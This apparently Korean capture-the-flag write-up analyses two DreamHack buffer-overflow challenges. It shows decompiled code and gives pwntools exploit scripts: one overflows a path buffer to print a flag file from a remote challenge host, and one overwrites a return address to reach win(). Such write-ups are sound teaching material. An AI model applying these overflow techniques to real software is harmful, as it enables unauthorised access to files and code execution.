DreamHack BOF 문제 분석

디렉토리 구조

```
bof/
├── deploy/
│   ├── bof        <-- 공격 대상 실행 파일
│   ├── cat        <-- 일반 출력용 실행 파일
│   ├── flag       <-- 플래그 파일 (공격 목표)
├── Dockerfile     <-- 문제 환경 설정 파일
```

main 함수 디컴파일 결과

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[128]; // [rsp+0h] [rbp-90h] BYREF
  char v5[16];  // [rsp+80h] [rbp-10h] BYREF

  init(argc, argv, envp);           // 초기화 함수 (무시 가능)
  strcpy(v5, "./cat");              // v5에 기본 실행 경로 설정
  printf("meow? ");                 // 사용자 입력 요청
  __isoc99_scanf("%144s", v4);      // 144바이트 입력 (버퍼 초과 가능)
  read_cat(v5);                     // v5의 경로를 실행 대상으로 사용
  printf("meow, %s :)\n", v4);      // 사용자 입력 에코 출력
  return 0;
}
```

취약점 분석

- `v4[128]`에 대해 `scanf("%144s")` 사용 → **버퍼 오버플로우 발생 가능**
- `v5[16]`은 `v4` 바로 뒤에 위치 → **v5 메모리 오염 가능**
- `v5`는 `read_cat()` 함수의 인자로 사용됨 → **임의 파일 경로 조작 가능**
- 공격자는 `"/home/bof/flag"`로 `v5`를 덮어 `flag` 파일 출력 가능

read_cat 함수 디컴파일 결과

```
int __fastcall read_cat(const char *a1)
{
  char s[128];
  ssize_t v3;
  int fd;

  memset(s, 0, sizeof(s));
  fd = open(a1, 0);                 // 파일 열기
```

```
  if (fd == -1) {
    puts("open() error");
    exit(1);
  }

  v3 = read(fd, s, 0x80uLL);        // 최대 128바이트 읽기
  if (v3 == -1) {
    puts("read() error");
    exit(1);
  }

  puts("======================");
  puts(s);                          // 파일 내용 출력

  if (close(fd)) {
    puts("close() error");
    exit(1);
  }
  return 0;
}
```

공격 시나리오 요약

1. `scanf`를 이용해 144바이트 입력 → `v4`를 넘쳐서 `v5` 덮음
2. `v5`에 `"/home/bof/flag"` 문자열 덮기
3. `read_cat(v5)` 호출 시 플래그 파일을 열고 출력

최종 페이로드 예시 (Python pwntools)

```
from pwn import *

p = remote("host3.dreamhack.games", 23515)

payload = b"A" * 128
payload += b"/home/bof/flag"

p.sendlineafter(b"meow? ", payload)
p.interactive()
```

baby-bof 취약점 분석

개요

코드 구조 요약

```
char name[16];                    // 오직 16바이트 크기의 버퍼
scanf("%15s", name);              // 입력은 제한되어 있으나,

for (idx = 0; idx < count; idx++) {
  *(long*)(name + idx*8) = value; // ✨ 임의 메모리 덮기 가능
}
```

⚠ 취약점 상세 분석

◇ 1. write-what-where 원시 취약점

- `(long*)(name + idx * 8) = value;` 구문을 통해
- `count` 값이 클 경우 `name` 배열 범위를 벗어나 스택 영역을 덮게 됨

◇ 2. return address 덮기

- `value`에 `win()` 함수 주소를 넣고,
- `count`로 main 함수의 리턴 주소까지 덮을 수 있음

◇ 3. 보호 기법 무력화

기법	상태
Stack Canary	❌ 비활성 (`-fno-stack-protector`)
PIE (ASLR)	❌ 주소 고정 (`-no-pie`)
NX Bit	⭕ 실행 불가 영역 보호 가능 (ROP는 우회 필요 없음)

🧨 공격 시나리오

1. `printf("the main function doesn't call win function (0x%lx)!\n", win);` → win 주소 노출
2. `value`에 win 주소 입력
3. `count` 값을 통해 스택 상의 리턴 주소까지 overwrite
4. `main()` 종료 시 → `win()` 실행됨

💣 익스플로잇 요약

```
from pwn import *

p = process("./baby-bof")

win_addr = 0xdeadbeefcafebabe  # ← 실제 실행 시 노출된 주소 입력
p.sendlineafter("name: ", "A")
p.sendlineafter("hex value: ", str(win_addr))
p.sendlineafter("integer count: ", "16")  # 리턴 주소까지 3개 덮는다고 가정
```

```
p.interactive()
```